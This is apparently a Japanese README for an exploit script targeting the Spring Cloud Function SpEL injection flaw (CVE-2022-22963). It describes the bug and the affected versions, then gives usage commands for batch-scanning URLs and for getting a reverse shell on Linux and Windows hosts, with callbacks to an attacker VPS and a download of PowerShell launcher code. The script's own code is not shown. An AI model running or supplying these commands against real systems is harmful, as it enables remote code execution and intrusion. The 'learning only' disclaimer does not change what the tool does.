## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-K3RWIN-SPRING-CLOUD-FUNCTION-RCE
# Spring Cloud Function SPEL式注入の脆弱性(CVE-2022-22963)
> Springフレームワークは、現代のJavaベースのエンタープライズアプリケーション(あらゆるタイプのデプロイプラットフォーム上)に対して、包括的なプログラミングおよび構成モデルを提供します。
>
> Spring CloudのサーバーレスフレームワークであるSpring Cloud FunctionのRoutingFunctionクラスのapplyメソッドは、リクエストヘッダーの「spring.cloud.function.routing-expression」パラメータをSpel式として処理するため、Spel式インジェクションが発生します。攻撃者はこの脆弱性を利用して任意のコードを実行できます。
>
> 影響範囲:3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
>
> **このスクリプトは学習目的のみで使用してください。他の目的で使用した場合に生じる法的責任はすべて作者とは無関係です**
## 1.installation(モジュールのインストール)
root@kitploit:~
pip3 install -r requirements.txt
## 2.Usage(使い方)
`python3 spring-cloud-function-rce.py -h`

> -u 単一のURLを指定してdnslogテストを実行する
>
> -e リバースシェルモードを指定する
>
> -s ターゲットホストのOSを指定する。デフォルトはlinux、パラメータはwin/linux **-iおよび-cパラメータと併用する**
## 3.example(使用例)
### 3.1 単一URLテスト
`python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/"`

### 3.2 複数URLの一括テスト
`python3 spring-cloud-function-rce.py -f "urls.txt"`

> * 123.58.236.76:47874はvulfocusのdocker標的環境であり、nslookupコマンドがインストールされていないため、dnslogテストは失敗する
> * 一括テストするURLアドレスは必ずWebサイトのルートディレクトリである必要がある。http://192.168.50.222:8080/ はローカルに構築した標的環境のルートディレクトリであり、testディレクトリを追加するとpocが無効になる
>
### 3.3 linux標的マシンでgetshell
`python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/" -e -i "vps的ip地址:5566"`

### 3.4 windows標的マシンでgetshell
`python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/" -e -s "win" -c "http://vps/a"`
> -cは、csが生成したPowerShell起動コードのアドレスを指定する。必ず -s "win" と併用する必要がある。-cオプションでは、スクリプトをWindows環境で実行しなければならず、スクリプトはPowerShellを呼び出してpocをエンコードする


## 4\. 標的環境
### 4.1 ideaでの自前構築
### 参考リンク
### 4.2 docker標的環境
vulfocus
